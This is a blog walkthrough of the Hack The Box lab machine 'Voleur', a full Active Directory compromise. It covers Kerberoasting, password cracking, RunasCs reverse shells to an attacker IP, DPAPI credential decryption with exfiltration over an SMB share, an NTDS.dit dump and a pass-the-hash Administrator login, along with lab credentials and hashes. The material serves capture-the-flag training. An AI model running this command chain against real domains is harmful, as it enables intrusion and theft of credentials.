# Voleur

Hack-The-Box 72 / 72
7 min read
HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Linux Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap A network scanner used to enumerate open ports, services, and versions on a target. DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. BloodHound A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds.
Table of Contents
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Voleur
  • OS Type: Windows
  • Difficulty: Medium

Port Scanning - Service & Version Enumeration

Terminal window
# Nmap 7.95 scan initiated Sun Jul 6 08:38:23 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.11.76
Nmap scan report for 10.10.11.76
Host is up, received echo-reply ttl 127 (0.33s latency).
Scanned at 2025-07-06 08:38:31 IST for 30968s
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-06 11:42:54Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
2222/tcp open ssh syn-ack ttl 127 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+vH6cIy1hEFJoRs8wB3O/XIIg4X5gPQ8XIFAiqJYvSE7viX8cyr2UsxRAt0kG2mfbNIYZ+80o9bpXJ/M2Nhv1VRi4jMtc+5boOttHY1CEteMGF6EF6jNIIjVb9F5QiMiNNJea1wRDQ2buXhRoI/KmNMp+EPmBGB7PKZ+hYpZavF0EKKTC8HEHvyYDS4CcYfR0pNwIfaxT57rSCAdcFBcOUxKWOiRBK1Rv8QBwxGBhpfFngayFj8ewOOJHaqct4OQ3JUicetvox6kG8si9r0GRigonJXm0VMi/aFvZpJwF40g7+oG2EVu/sGSR6d6t3ln5PNCgGXw95pgYR4x9fLpn/OwK6tugAjeZMla3Mybmn3dXUc5BKqVNHQCMIS6rlIfHZiF114xVGuD9q89atGxL0uTlBOuBizTaF53Z//yBlKSfvXxW4ShH6F8iE1U8aNY92gUejGclVtFCFszYBC2FvGXivcKWsuSLMny++ZkcE4X7tUBQ+CuqYYK/5TfxmIs=
| 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMkGDGeRmex5q16ficLqbT7FFvQJxdJZsJ01vdVjKBXfMIC/oAcLPRUwu5yBZeQoOvWF8yIVDN/FJPeqjT9cgxg=
| 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILv295drVe3lopPEgZsjMzOVlk4qZZfFz1+EjXGebLCR
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
52804/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
60860/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
60861/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
60863/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
60889/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 48495/tcp): CLEAN (Timeout)
| Check 2 (port 28661/tcp): CLEAN (Timeout)
| Check 3 (port 60782/udp): CLEAN (Timeout)
| Check 4 (port 35476/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-07-06T11:43:54
|_ start_date: N/A
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 6 17:14:39 2025 -- 1 IP address (1 host up) scanned in 30975.95 seconds

Creds

As is common in real life Windows pentests, you will start the Voleur box with credentials for the following account: ryan.naylor / HollowOct31Nyt

Enumeration

Port 139,445/SMB

let’s start enumerating the SMB service first i validate the credentials using netexec

Terminal window
sudo nxc smb 10.10.11.76 -u ryan.naylor -p HollowOct31Nyt
image.png

it shows NTLM:False and the STATUS_NOT_SUPPORTED shows that kerberos authentication is needed here

first i request TGT

Terminal window
impacket-getTGT 'Voleur.htb/ryan.naylor:HollowOct31Nyt' -dc-ip 10.10.11.76
image.png

to solve KRB_AP_ERR_SKEW(Clock skew too great), we can run following command

Terminal window
sudo ntpdate 10.10.11.76
image.png

now we can request TGT, as the kerberos works with Time we need to make same timezone while dealing with kerberos. now we can request TGT for the ryan user

Terminal window
impacket-getTGT 'Voleur.htb/ryan.naylor:HollowOct31Nyt' -dc-ip 10.10.11.76
image.png

to use this we need to export KRB5CCNAME environment variable

Terminal window
export KRB5CCNAME=/home/kali/hackthebox/Voleur/ryan.naylor.ccache

now we’ll add the domain and domain controller hostnames in /etc/hosts

Terminal window
echo "10.10.11.76 voleur.htb dc.voleur.htb" | sudo tee -a /etc/hosts
image.png

and now we can check our credentials

image.png

if you getting KDC REALM error make sure add following in /etc/krb5.conf

Terminal window
[libdefaults]
default_realm = VOLEUR.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
forwardable = true
[realms]
VOLEUR.HTB = {
kdc = dc.voleur.htb
admin_server = dc.voleur.htb
}
[domain_realm]
.voleur.htb = VOLEUR.HTB
voleur.htb = VOLEUR.HTB

now let’s check the open shares

Terminal window
sudo nxc smb dc.voleur.htb -u ryan.naylor -p HollowOct31Nyt -k --shares
image.png

nice we have the read access to IT share, let’s connect with that share using smbclient

Terminal window
sudo smbclient //dc.voleur.htb/IT -U ryan.naylor@VOLEUR.HTB%HollowOct31Nyt -k
image.png image.png

we found Access_Review.xlsx let’s download it

i transffered it to my windows host and when trying to open i found that it is password protected

image.png

i used access2john to first get the hash of the password

Terminal window
office2john Access_Review.xlsx > hash

and then use john to crack the hash

Terminal window
john hash --wordlist=/usr/share/wordlists/rockyou.txt
image.png

nice we got the password for excel sheet, use this

image.png

now let’s keep this informtion and run bloodhound to get the proper domain map and find the shortest attacks

Terminal window
bloodhound-python -c all -u ryan.naylor -p HollowOct31Nyt -d voleur.htb -dc dc.voleur.htb -ns 10.10.11.76 -k
image.png

and load the json files in bloodhound

image.png

we can see the WriteSPN

image.png

we can perfrom TargetedKerberos attack on the svc_winrm to get the user’s kerberos ticket hash and then

Terminal window
python ~/offsec/tools/targetedKerberoast.py -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn --dc-host dc.voleur.htb --request-user svc_winrm -k
image.png

nice we got the hash let’s try to crack it

Terminal window
hashcat -m 13100 svc_winrm.hash /usr/share/wordlists/rockyou.txt
image.png

nice, let’s request TGT for the svc_winrm user, and then login to target machine using evil-winrm

Terminal window
impacket-getTGT 'Voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi' -dc-ip 10.10.11.76
image.png
Terminal window
export KRB5CCNAME=/home/kali/hackthebox/Voleur/svc_winrm.ccache

let’s use the evil-winrm to login as svc_winrm

Terminal window
evil-winrm -i dc.voleur.htb -r voleur.htb
image.png

as we can see that svc_ldap user is member of restore_users who has GenericWrite permission over Lacey.Miller we can either use this to perform kerberos attack or we can perform shadow credential

image.png

i tried targetKerberoast attack on the lacey.miller and Shadow Credentials attack but none of them are working so i took another path, as we found that todd.wolfe is deleted user and we can see that the svc_ldap user is member of restore_users, so let’s first get shell as svc_ldap

Terminal window
.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn powershell -r 10.10.14.6:445
image.png

and we got the shell

image.png

Bingo!! we got the shell

let’s run follwoing command to list the deleted accounts in Domain

Terminal window
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
image.png

we need to restore this user first we need ObjectGUID

Terminal window
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects
image.png

now we can use Restore-ADObject to restore The user

Terminal window
Restore-ADObject -Identity "1c6b1deb-c372-4cbb-87b1-15031de169db"

let’s check if the user has been restored successfully

image.png

let’s get shell as todd.wolfe

Terminal window
.\RunasCs.exe todd.wolfe NightT1meP1dg3on14 powershell -r 10.10.14.6:443
image.png

then i started searching for interesting files

image.png

after that i found the DPAPI Credentials in the AppData folder, i created C:\temp folder and then copied the Credentials

Terminal window
C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Local\Microsoft\Credentials>copy DFBE70A7E5CC19A398EBF1B96859CE5D \temp\
image.png

and now we need masterkey which we can found at C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110 let’s copy this to the \temp folder as well

image.png

now to transfer the both files to our machine i used impacket-smbserver

Terminal window
impacket-smbserver test . -user admin -password admin -smb2support

on target machine

Terminal window
net use \\10.10.14.6\test admin /user:admin

now we can copy our files using smb share

Terminal window
copy 08949382-134f-4c63-b93c-ce52efc0aa88 \\10.10.14.6\test\
copy DFBE70A7E5CC19A398EBF1B96859CE5D \\10.10.14.6\test\

then i used impacket-dpapi to first get the key from masterkey

Terminal window
impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14
image.png

let’s decrypt the credential file using key

Terminal window
impacket-dpapi credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
image.png

looking for the other files i found another credentials file as well at C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials

image.png

and the transfer this to the kali machine as well and run impacket-dpapi credential command with this file

Terminal window
impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
image.png

and if we see that the user is member of Remote-Management users as well so we can login to it using evil-winrm

image.png

get the TGT for the jeremy.combs

Terminal window
impacket-getTGT 'voleur.htb/jeremy.combs:qT3V9pLXyN7W4m' -dc-ip 10.10.11.76

and then export the KRB5CCNAME variable

Terminal window
export KRB5CCNAME=/home/kali/hackthebox/Voleur/jeremy.combs.ccache
image.png

and then when enumerating the system as jeremy.combs i found the id_rsa and note in the Third-Line Support folder

image.png

let’s read the Note.txt.txt

image.png

and when i scanned the machine using nmap i found the SSH is running on port 2222 let’s transfer the id_rsa to our machine

now i remember that the excel file saying that for svc_backups’s password ask to the jeremy this is what it is reffering to?

{2B138DE7-1E1A-4BD6-A0BA-3A332A05E620}.png

and we can see that the jeremy user has access to software folder let’s try to login to machine using ssh

first change the permission of id_rsa

Terminal window
chmod 600 id_rsa

and then use ssh to login as svc_backup

Terminal window
ssh -i id_rsa svc_backup@10.10.11.76 -p 2222
image.png

i found the C: drive is mounted at /mnt/c

image.png

and found the NTDS.dit and SAM, SYSTEM registry keys let’s copy this to our kali machine using scp

Terminal window
scp -i id_rsa -P 2222 svc_backup@10.10.11.76:"/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" ntds.dit
Terminal window
scp -i id_rsa -P 2222 svc_backup@10.10.11.76:"/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" system
Terminal window
scp -i id_rsa -P 2222 svc_backup@10.10.11.76:"/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY" security
image.png

and then i used impacket-secretsdump to dump the credentials from NTDS.dit

Terminal window
impacket-secretsdump -system system -security security -ntds ntds.dit LOCAL
image.png

and then use the impacket-getTGT to request TGT for that user

Terminal window
impacket-getTGT voleur.htb/Administrator -hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2 -dc-ip 10.10.11.76
image.png

export the KRB5CCNAME

Terminal window
export KRB5CCNAME=/home/kali/hackthebox/Voleur/Administrator.ccache

and now evil-winrm to login as Administrator

Terminal window
evil-winrm -i dc.voleur.htb -r voleur.htb
image.png
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


Related Writeups

# Certified

Hack-The-Box 16 / 72
10 min read

Windows Medium machine - Certified.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap A network scanner used to enumerate open ports, services, and versions on a target. DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. Kerberoasting Requesting service tickets for accounts with an SPN, then cracking them offline to recover the service account's password. BloodHound A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. AS-REP Roasting Requesting authentication data for accounts without Kerberos pre-auth, then cracking it offline to recover the password. Git

# Escape

Hack-The-Box 26 / 72
9 min read

Windows Intermediate machine - Escape.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Linux Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap A network scanner used to enumerate open ports, services, and versions on a target. DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. BloodHound A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. RDP Remote Desktop Protocol — Windows remote GUI access, sometimes exposed with weak credentials.

# Administrator

Hack-The-Box 9 / 72
6 min read

Unknown Unknown machine - Administrator.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Linux Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap A network scanner used to enumerate open ports, services, and versions on a target. DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. FTP File Transfer Protocol — frequently misconfigured with anonymous access, exposing sensitive files. WinRM Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. Kerberoasting Requesting service tickets for accounts with an SPN, then cracking them offline to recover the service account's password. DCSync Abusing domain replication permissions to ask a Domain Controller for password hashes as if you were another DC. BloodHound A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds.

# Blackfield

Hack-The-Box 10 / 72
6 min read

Windows Hard machine - Blackfield.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap A network scanner used to enumerate open ports, services, and versions on a target. DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP NTLM Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. BloodHound A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. AS-REP Roasting Requesting authentication data for accounts without Kerberos pre-auth, then cracking it offline to recover the password. Password Spraying Trying one common password against many usernames to avoid account lockouts.

Comments